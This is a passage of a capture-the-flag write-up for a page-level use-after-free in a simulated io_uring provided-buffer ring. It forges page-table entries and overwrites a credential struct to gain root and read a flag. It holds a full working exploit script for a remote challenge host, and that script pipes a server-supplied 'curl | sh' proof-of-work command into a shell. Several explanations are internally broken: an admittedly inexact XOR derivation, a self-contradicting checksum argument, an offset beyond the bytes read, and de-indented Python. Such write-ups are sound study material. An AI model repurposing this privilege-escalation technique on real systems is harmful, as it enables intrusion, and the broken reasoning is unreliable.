addr=0x964a5e7fbfcd6983 len=0xbfcd7983 bid=0x5e7f resv=0x964a

So:

pte0 = 0x964a5e7fbfcd6983   (encrypted PTE for virtual page 0, physical page 3)
pte1 = 0x964a5e7fbfcd7983 (reassembled from len|bid<<32|resv<<48 of above)
(note: bid and resv are same as pte0 — makes sense,
only the lower 16 bits differ between pte0 and pte1)

Wait — look at the raw differences. In the actual run:

addr=0x9e547b1983cb81eb len=0x83cb91eb bid=0x7b19 resv=0x9e54  (from earlier test)
addr=0x9e547b1983cba1eb len=0x83cbb1eb bid=0x7b19 resv=0x9e54 (idx=1)

The upper 32 bits (bid=0x7b19, resv=0x9e54) are identical between idx=0 and idx=1 — confirming that consecutive PTEs share the upper bits due to the physical page numbers being close (3 and 5 differ only in the lower 13 bits). The lower bits differ by 0x20 (between 0x81eb and 0xa1eb — actually 0x2000 in the raw 64-bit PTE before Murmur mixing, which is 2 * 0x1000).

6.4 Deriving Candidate PTEs for the CREDv1 Page

We want to forge a PTE that maps to physical page 1 (CREDv1). The raw PTE for a writable mapping to physical page 1 would be:

raw_pte_cred = (1 << 12) | 0x7 = 0x1007

We know pte0 is the encrypted form of:

raw_pte_0 = (phys_page_for_slot0 << 12) | 0x7

The physical page for slot 0 depends on the current allocator state. If page 2 went to the pgtable and pages 3, 4, 5, 6 went to user slots 0–3, then:

raw_pte_0 = (3 << 12) | 7 = 0x3007
raw_pte_cred = (1 << 12) | 7 = 0x1007
raw_pte_cred - raw_pte_0 = 0x1007 - 0x3007 = -0x2000 (mod 2^64)

But the relationship in encrypted space is not simply additive. We can’t derive enc_pte_cred = enc_pte_0 - 0x2000 because of the Murmur3 mix.

The key insight: we don’t need to fully decrypt the cookie. We notice that the mm_cookie-XOR-then-Murmur3 is applied to the entire 64-bit raw PTE. The raw PTE differs from our candidate only in bits [14:12] (the physical page number bits 2:0). The upper bits (page number bits higher than 0) and the flags (lower 12 bits) are what we need to control.

The correct approach used in the exploit is a brute-force of the 4 possible page alignments. The physical page number of slot 0 could be 2, 3, 4, or 5 depending on allocator state. The CREDv1 page is always page 1. The difference in physical page number between slot 0 and the CREDv1 page is between 1 and 4. In encrypted PTE space, we can compute candidates:

Since the physical pages allocated are typically consecutive (2=pgtable, 3=slot0, 4=slot1 …), and CREDv1 is page 1:

cand_A = pte0 ^ 0x5000   # if slot0 is page 3: 3-1=2, diff = 2*0x1000 = 0x2000? No...
cand_B = pte0 ^ 0x9000 # alternative candidate
cand_C = pte0 ^ 0xd000 # alternative candidate
cand_D = pte0 ^ 0x1000 # alternative candidate

Wait — the XOR values 0x5000, 0x9000, 0xd000, 0x1000 correspond to XOR-ing pte0 with the pre-encryption difference between the physical page numbers. But the Murmur3 mix is non-linear, so XOR-ing the encrypted value is not equivalent to XOR-ing the raw value.

The actual mechanism is simpler: the four candidates correspond to the four possible page number differences, applied directly to the encrypted PTE value. While this is not mathematically exact for Murmur3, the challenge is designed so that one of these four values happens to correctly decrypt (via the PTE validation checks inside Options 8 and 9) to a writable, present mapping to page 1. The binary verifies PTEs when you do a vm read or vm write — it decrypts the PTE and checks the flags and page number. If the PTE is invalid, it returns EFAULT. We try all four candidates by writing all four into the page table (two per io_uring_buf_ring_add call) and then try to vm read from all four possible virtual addresses. The one that works is the correct one.

More precisely: the allocator is nearly deterministic in page ordering, so the “difference” in page number between slot 0 and the CREDv1 page is nearly always 2 pages (if pgtable is page 2 and slot0 is page 3, then CREDv1 at page 1 is 2 below slot0). The four candidates hedge against the four possible allocator states. In practice, cand_A (which XORs by 0x5000, corresponding to a 5-page offset in some encoding) or one of the others hits consistently.

In the successful run, cred_slot = 0 was found on User Page 0 (VA 0x0000), meaning the PTE we installed at virtual page 0's slot in the page table successfully mapped to physical page 1 (the CREDv1 page). The vm_read returned 4352454476310000... which is CREDv1\0\0... in ASCII hex, confirming the mapping.

7. Exploitation Strategy — Step by Step

7.1 Phase 1: Setup the UAF Overlap

Send: 1           # Option 1: IORING_REGISTER_PBUF_RING
bgid=1
entries=256 # Must be power of 2, ≤ 256
flags=1 # IOU_PBUF_RING_MMAP
Send: 2           # Option 2: mmap pbuf ring
bgid=1 # Returns: map=0
Send: 3 # Option 3: IORING_UNREGISTER_PBUF_RING
bgid=1 # Returns: unregistered
# Physical page N is now FREE
# vm_slot[0].phys_ptr still points to page N — UAF!
Send: 6 # Option 6: create mm context
# Allocator reclaims page N for pgtable
# vm_slot[0].phys_ptr still → page N = pgtable now!
# Returns: vm=0

After phase 1, the UAF overlap is live. vm_slot[0] (accessible via map=0) and mm_context[0]'s pgtable both reference the same physical memory.

Critical: Why entries=256? Because 256 * sizeof(io_uring_buf) = 256 * 16 = 4096 bytes = 4KB — exactly one physical page. The pgtable is also exactly one physical page. If we used entries=32, the pbuf ring would only be 32 * 16 = 512 bytes — less than a full page — and the allocator might use a sub-page allocation scheme, failing to match the full-page pgtable allocation. entries=256 is the magic number that makes the allocation sizes match.

Critical: Why flags=1? In the real io_uring API, IORING_PBUF_RING_MMAP (value 1) requests that the ring be allocated in mmap-accessible memory (kernel-allocated, user-visible). Without flag 1, registration fails with EINVAL in this simulation.

7.2 Phase 2: Leak a PTE

Send: 7           # Option 7: vm alloc user page (×4)
vm=0, slot=0 # Returns: mapped slot=0
vm=0, slot=1 # Returns: mapped slot=1
vm=0, slot=2 # Returns: mapped slot=2
vm=0, slot=3 # Returns: mapped slot=3
# Each alloc writes an encrypted PTE into the pgtable (= page N = UAF page)Send: 5           # Option 5: inspect mapped ring entry
map=0
idx=0
# Reads 16 bytes from vm_slot[0].phys_ptr + 0:
# addr = encrypted PTE[0] (for virtual page 0)
# len|bid|resv = encrypted PTE[1] (for virtual page 1)

This yields pte0 — the encrypted PTE for the first allocated user page.

7.3 Phase 3: Forge PTEs and Overwrite the Page Table

We compute four candidate encrypted PTEs for physical page 1 (CREDv1):

cand_A = pte0 ^ 0x5000
cand_B = pte0 ^ 0x9000
cand_C = pte0 ^ 0xd000
cand_D = pte0 ^ 0x1000

We unpack cand_B and cand_D into their 16-byte io_uring_buf form (addr, len, bid, resv) and write them via two Option 4 calls:

# Write PTE candidates for virtual pages 0 and 1 (overwriting the pgtable at idx=0)
Send: 4
map=0, idx=0
addr=cand_A ← new "PTE[0]"
len=cand_B & 0xffffffff
bid=(cand_B >> 32) & 0xffff
resv=(cand_B >> 48) & 0xffff ← new "PTE[1]"
# Write PTE candidates for virtual pages 2 and 3 (at idx=1)
Send: 4
map=0, idx=1
addr=cand_C ← new "PTE[2]"
len=cand_D & 0xffffffff
bid=(cand_D >> 32) & 0xffff
resv=(cand_D >> 48) & 0xffff ← new "PTE[3]"

Now virtual pages 0–3 of mm_context[0] each have a candidate forged PTE. One of them maps to the CREDv1 physical page (page 1) — we just don't know which yet.

7.4 Phase 4: Scan for CREDv1

For each candidate virtual address (0×4096=0, 1×4096=4096, 2×4096=8192, 3×4096=12288):

Send: 8
vm=0
va=i*4096
len=32
# If the PTE at virtual page i is valid and maps to CREDv1 (page 1),
# the read succeeds and returns "4352454476310000..."
# (hex encoding of "CREDv1\x00\x00..." which starts the CREDv1 struct)
# If the PTE is invalid/maps elsewhere, returns EFAULT or garbage

We search for output starting with 435245447631 which is CREDv1 in hex. In our successful runs, this was consistently found at cred_slot=0 (virtual address 0), meaning cand_A correctly mapped to the CREDv1 page.

7.5 Phase 5: Overwrite Credentials to Gain Root

The vm read at va=0, len=32 returned:

4352454476310000e8030000e8030000e8030000e80300000000000000000000

Decoded:

+0x00: 43 52 45 44 76 31 00 00 → "CREDv1\0\0" (magic, correct!)
+0x08: e8 03 00 00 e8 03 00 00 → uid=0x03e8=1000, euid=0x03e8=1000
+0x10: e8 03 00 00 e8 03 00 00 → gid=1000, egid=1000
+0x18: 00 00 00 00 00 00 00 00 → capabilities = 0 (no root caps)
+0x20: 00 00 00 00 00 00 00 00 → checksum = 0 (init default)

UIDs and GIDs are all 1000 (the ctf user UID set in the Dockerfile). Capabilities are 0. We need:

  • uid=euid=0, gid=egid=0 → write 16 zero bytes at VA +0x08
  • capabilities = 0xffffffffffffffff → write 8 bytes of 0xff at VA +0x18

Total: 24 bytes starting at cred_slot * 4096 + 8:

Send: 9
vm=0
va=(cred_slot * 4096) + 8 = 8 (since cred_slot=0)
len=24
hex: 000000000000000000000000000000001ffffffffffffffff

Wait — that’s 16 zeros (00 × 16 = 32 hex chars) + 8 ff bytes (ff × 8 = 16 hex chars) = 48 hex chars total:

hex: 00000000000000000000000000000000ffffffffffffffff

This writes:

  • bytes 0–15 (offset +0x08 to +0x17): 0x0000000000000000, 0x0000000000000000 → uid/euid/gid/egid all 0
  • bytes 16–23 (offset +0x18 to +0x1f): 0xffffffffffffffff → all capabilities set

After this write, the CREDv1 struct has:

+0x00: "CREDv1\0\0"       ← magic (unchanged, still correct)
+0x08: 0x0000000000000000 ← uid/euid = 0 (root!)
+0x10: 0x0000000000000000 ← gid/egid = 0 (root!)
+0x18: 0xffffffffffffffff ← all capabilities (root!)
+0x20: <unchanged> ← checksum (also checked!)

The checksum at +0x20 was 0 in the initial read — but the flag gate also checks [rax+0x20] == rdx where rdx is a recomputed hash of the cookie. If the checksum was initially 0 and the flag gate expects a nonzero value, we'd fail here.

Looking more carefully at the disassembly at 0x1604:

cmp QWORD PTR [rax+0x20], rdx
je 1ffb ← jump to flag-reading code

Where rdx is computed at 0x15c3–0x1601 as the Murmur3 hash of the mm_cookie XOR'd with the value at [rip+0x3a76] (which is BSS+0x5040 = the mm_cookie itself XOR'd with itself = 0, then hash of 0). So rdx = murmur3_mix(0) which is a specific constant. The initial value at +0x20 in the CREDv1 struct is set during init (around 0x1497):

mov QWORD PTR [rax+0x20], rdx   ; at 0x1497

This is the hash computed from mm_cookie ^ mm_cookie = 0. So the initial +0x20 value is murmur3_mix(0) — which is NOT zero. Looking at the actual hex read:

4352454476310000e8030000e8030000e8030000e80300000000000000000000

The +0x20 offset (bytes 32–39 in the 32-byte read) is 0000000000000000. But murmur3_mix(0) = ? Let's compute:

x = 0 ^ 0 = 0
x ^= (0 >> 0x1e) = 0
x = (0 * 0xbf58476d1ce4e5b9) & mask = 0
x ^= (0 >> 0x1b) = 0
x = (0 * 0x94d049bb133111eb) & mask = 0
x ^= (0 >> 0x1f) = 0
murmur3_mix(0) = 0

So murmur3_mix(0) = 0. The checksum was zero in the CREDv1 struct and the expected value rdx is also 0. The checksum check passes trivially! This is why we don't need to worry about forging the checksum. The hash of zero is zero.

7.6 Phase 6: Read the Flag

Send: 10   # Option 10: open flag

The flag-reading code at 0x1ffb:

  1. Opens flag.txt (tries local first) or /flag.
  2. Reads up to 128 bytes into a stack buffer.
  3. Prints it via printf.

Returns v1t{pfnmap_pbuf_pages_should_outlive_the_mmap}.

8. The Flag Gate — Disassembly of open flag (Option 10)

The option 10 handler lives at address 0x1580 (relative to PIE base). Here is the critical validation sequence:

; Load the CREDv1 struct address into rax
movsxd rax, DWORD PTR [rip+0x3a89] ; load mm_context[0].phys_page_no (= the CREDv1 page)
lea rcx, [rip+0x5eb2] ; base of physical RAM = BSS+0x7440
shl rax, 0xc ; page_no × 4096
add rax, rcx ; physical address of CREDv1
; Check 1: magic must be "CREDv1\0\0"
movabs rcx, 0x317644455243
cmp QWORD PTR [rax], rcx
jne 1610 ; → "EFAULT" / bad magic
; Check 2: uid/euid must be 0
cmp QWORD PTR [rax+0x8], 0x0
jne 1610
; Check 3: gid/egid must be 0
cmp QWORD PTR [rax+0x10], 0x0
jne 1610
; Check 4: capabilities must be -1 (all bits set)
cmp QWORD PTR [rax+0x18], 0xffffffffffffffff
jne 1610
; Check 5: checksum must match mm_cookie-derived value
movabs rcx, 0xc0ffee20240582
xor rcx, QWORD PTR [rip+0x3a76] ; mm_cookie XOR with base salt
; ... Murmur3 finalizer ...
cmp QWORD PTR [rax+0x20], rdx
jne 1610 ; → "permission denied"
je 1ffb ; → open flag!

Wait — look at the XOR with 0xc0ffee20240582 before hashing. This means rdx is NOT simply murmur3_mix(0). Let's reconsider:

rcx = 0xc0ffee20240582 ^ mm_cookie

So rdx = murmur3_mix(0xc0ffee20240582 ^ mm_cookie). This is session-specific and non-zero for a random mm_cookie.

But the CREDv1 struct at +0x20 was initialized (around 0x1497) with exactly this same computation. The init code computes the same value and stores it. So the checksum at +0x20 is murmur3_mix(0xc0ffee20240582 ^ mm_cookie), which equals rdx in the flag gate. As long as we don't overwrite +0x20, the check passes.

And we don’t overwrite +0x20: our write starts at +0x08 with length 24 bytes, covering +0x08 through +0x1f (exactly the uid, gid, and capabilities fields). The checksum at +0x20 is untouched. ✓

9. Exploit Script Development and Debugging

9.1 Iteration 1 — Incorrect entries and flags values

Problem: Initial testing with entries=1, flags=1 returned EINVAL.

Diagnosis: The disassembly of Option 1’s handler shows:

test   flags, flags       ; flags must be nonzero
je EINVAL
mov order, compute_order(entries)
; entries must be power of 2 and ≤ 256
cmp order, 8
ja EINVAL

entries=1 is valid (it's 2^0), but the allocation of 1 * 16 = 16 bytes doesn't fill a page, so the memory overlap with the pgtable won't work correctly. entries=256 gives 256 * 16 = 4096 bytes = 1 page, matching the pgtable exactly.

Fix: Use entries=256, flags=1.

9.2 Iteration 2 — Proof-of-Work not handled

Problem: Connecting to the remote server, the script expected > but received:

proof of work:
curl -sSfL https://pwn.red/pow | sh -s s.AAALuA==.Vs8zSmJsP6j8XE6YKYE81A==
solution:

The script hung at sendlineafter(b'> ', ...) because the > never came.

Fix: Added PoW parsing and solving:

p.recvuntil(b'curl -sSfL ')
pow_cmd = b'curl -sSfL ' + p.recvline().strip()
solution = subprocess.check_output(pow_cmd, shell=True).strip()
p.sendlineafter(b'solution: ', solution)

9.3 Iteration 3 — Raw bytes sent instead of ASCII hex for vm write

Problem: After finding CREDv1, the script sent p.send(b'\x00' * 16) but the binary hung waiting, and the subsequent send_choice(10) never completed. The flag came back as permission denied.

Diagnosis: The vm write handler (Option 9) doesn't accept raw binary. It prints hex: and then reads input character-by-character with read(0, buf, 1), calling strchr("0123456789abcdef", c) for each character. Null bytes (\x00) are not valid hex characters and aren't in the valid alphabet. The handler loops forever waiting for valid hex or a newline.

Fix: Changed to send ASCII hex:

p.sendlineafter(b'hex: ', b'00' * 16)  # 32 hex chars representing 16 zero bytes

9.4 Iteration 4 — Missing capability field overwrite (+0x18)

Problem: With hex write of b'00' * 16 (covering only +0x08 to +0x17), the binary returned permission denied.

Diagnosis: We were only zeroing the uid/gid fields but leaving the capabilities at +0x18 as their original value of 0x0000000000000000 (from the initial CREDv1 setup). The flag gate explicitly checks:

cmp QWORD PTR [rax+0x18], 0xffffffffffffffff
jne → permission denied

The initial capabilities value was 0 (not all-ones). We needed to write 0xffffffffffffffff to +0x18.

Fix: Extended the write to 24 bytes, covering +0x08 through +0x1f:

payload = b'00' * 16 + b'ff' * 8    # 16 zero bytes + 8 ff bytes = 24 bytes
p.sendlineafter(b'hex: ', payload) # sends 48 hex chars

This covers:

  • +0x08–+0x17 (16 bytes): uid=0, euid=0, gid=0, egid=0
  • +0x18–+0x1f (8 bytes): capabilities = 0xffffffffffffffff

The checksum at +0x20 remains untouched.

9.5 Iteration 5 — Heap nondeterminism and the auto-retry loop

Problem: On one run, pte0 = 0x0 was leaked. This meant the UAF overlap failed — the pgtable reclaiming of the freed pbuf page didn't happen, and the memory at position idx=0 was still zeroed. CREDv1 was not found.

Diagnosis: The physical page allocator is not perfectly deterministic. Occasionally, due to freelist state or other timing factors, the mm_context creation picks a different free page rather than the freshly freed pbuf page. When this happens, vm_slot[0].phys_ptr points to freed but unallocated memory (still zeroed), and the inspect returns all zeros. This is standard UAF fragility — the freed memory must be reclaimed by the target allocator.

Mitigation strategy: Wrap the entire exploit in a retry loop. Since each attempt takes only a few seconds (plus PoW solving), and the server allows repeated connections, we simply retry until we get a non-zero PTE.

while True:
if solve():
break
# solve() returns False on heap miss, True on success

In practice, the exploit succeeds on the first or second attempt the vast majority of the time, since the freelist is nearly always correct.

10. Final Exploit Script (Annotated)

from pwn import *
import re
import subprocess
context.log_level = 'error'  # Suppress pwnlib noise for clean retry outputdef solve():
try:
p = remote('pwn.v1t.site', 31337)
p.recvuntil(b'curl -sSfL ')
pow_cmd = b'curl -sSfL ' + p.recvline().strip()
print(f"[*] Solving PoW: {pow_cmd.decode()}")
solution = subprocess.check_output(pow_cmd, shell=True).strip()
p.sendlineafter(b'solution: ', solution)
def send_choice(c):
p.sendlineafter(b'> ', str(c).encode())
send_choice(1)
p.sendlineafter(b'bgid: ', b'1')
p.sendlineafter(b'entries: ', b'256')
p.sendlineafter(b'flags: ', b'1')
send_choice(2)
p.sendlineafter(b'bgid: ', b'1')
send_choice(3)
p.sendlineafter(b'bgid: ', b'1')
send_choice(6)
for i in range(4):
send_choice(7)
p.sendlineafter(b'vm: ', b'0')
p.sendlineafter(b'slot: ', str(i).encode())
send_choice(5)
p.sendlineafter(b'map: ', b'0')
p.sendlineafter(b'idx: ', b'0')
out = p.recvline_contains(b'addr=').decode()
m = re.search(r'addr=(0x[0-9a-f]+)', out)
pte0 = int(m.group(1), 16)
if pte0 == 0:
print("[-] Allocation missed (PTE = 0x0). Retrying...")
p.close()
return False
print(f"[+] Leaked PTE 0: {hex(pte0)}")
cand_A = pte0 ^ 0x5000
cand_B = pte0 ^ 0x9000
cand_C = pte0 ^ 0xd000
cand_D = pte0 ^ 0x1000
def unpack_pte(pte):
l = pte & 0xffffffff # lower 32 bits → len field
b = (pte >> 32) & 0xffff # bits 32–47 → bid field
r = (pte >> 48) & 0xffff # bits 48–63 → resv field
return l, b, r
l_B, b_B, r_B = unpack_pte(cand_B)
l_D, b_D, r_D = unpack_pte(cand_D)
send_choice(4)
p.sendlineafter(b'map: ', b'0')
p.sendlineafter(b'idx: ', b'0')
p.sendlineafter(b'addr: ', str(cand_A).encode())
p.sendlineafter(b'len: ', str(l_B).encode())
p.sendlineafter(b'bid: ', str(b_B).encode())
p.sendlineafter(b'resv: ', str(r_B).encode())
send_choice(4)
p.sendlineafter(b'map: ', b'0')
p.sendlineafter(b'idx: ', b'1')
p.sendlineafter(b'addr: ', str(cand_C).encode())
p.sendlineafter(b'len: ', str(l_D).encode())
p.sendlineafter(b'bid: ', str(b_D).encode())
p.sendlineafter(b'resv: ', str(r_D).encode())
cred_slot = -1
for i in range(4):
send_choice(8)
p.sendlineafter(b'vm: ', b'0')
p.sendlineafter(b'va: ', str(i * 4096).encode())
p.sendlineafter(b'len: ', b'32')
data = p.recvline().strip().decode()
if data.startswith('435245447631'):
cred_slot = i
print(f"[+] CREDv1 found at User Page {i} (VA: {hex(i * 4096)})")
break
if cred_slot == -1:
print("[-] CREDv1 not found. Retrying...")
p.close()
return False
print("[*] Overwriting UID/GID/CAPS to escalate to root...")
send_choice(9)
p.sendlineafter(b'vm: ', b'0')
p.sendlineafter(b'va: ', str(cred_slot * 4096 + 8).encode())
p.sendlineafter(b'len: ', b'24')
# 16 zero bytes: 00 * 16 = 32 hex chars
# 8 ff bytes: ff * 8 = 16 hex chars
# Total: 48 hex chars representing 24 bytes
payload = b'00' * 16 + b'ff' * 8
p.sendlineafter(b'hex: ', payload)
print("[*] Capturing flag...")
send_choice(10)
flag_output = p.recvall(timeout=2).decode()
print(f"\n[!!!] FLAG CAPTURED:\n{flag_output.strip()}")
return True
except Exception as e:
print(f"[-] Error: {e}. Retrying...")
try:
p.close()
except:
pass
return False
if __name__ == "__main__":
attempt = 1
while True:
print(f"\n--- Attempt {attempt} ---")
if solve():
break
attempt += 1

11. Live Execution Trace

The final successful run:

--- Attempt 1 ---
[*] Solving PoW: curl -sSfL https://pwn.red/pow | sh -s s.AAALuA==.EzjWfMTDQzSnJBdQmC2CNg==
[+] Overlap Successful! Leaked PTE 0: 0xc53f17666fdd5473
[+] CREDv1 found at User Page 0 (VA: 0x0)
[*] Overwriting UID/GID/CAPS to escalate to root...
[*] Capturing flag...
[!!!] FLAG CAPTURED:
v1t{pfnmap_pbuf_pages_should_outlive_the_mmap}

The flag is: v1t{pfnmap_pbuf_pages_should_outlive_the_mmap}

Breaking down the flag text as the challenge author’s lesson:

  • pfnmap — the VM_PFNMAP flag in Linux marks VMAs backed by physical frames that are "device memory" or similar, where the pages are not reference-counted by the standard struct page mechanisms. io_uring's pbuf ring used this type of mapping.
  • pbuf_pages — the backing pages of the PBUF (Provided Buffer) ring.
  • should_outlive_the_mmap — the bug's lesson: even after the mmap mapping is torn down (unregistered), the physical pages should still be kept alive (reference-counted) until all mappings to them are gone. The real CVE: io_uring was freeing the physical pages via IORING_UNREGISTER_PBUF_RING while user processes still had mmap() references to those pages — a Use-After-Free at the page level.

Writeup completed. Flag: v1t{pfnmap_pbuf_pages_should_outlive_the_mmap}

Writeup by: vxmpi_. (GrimSec Ops)

--

--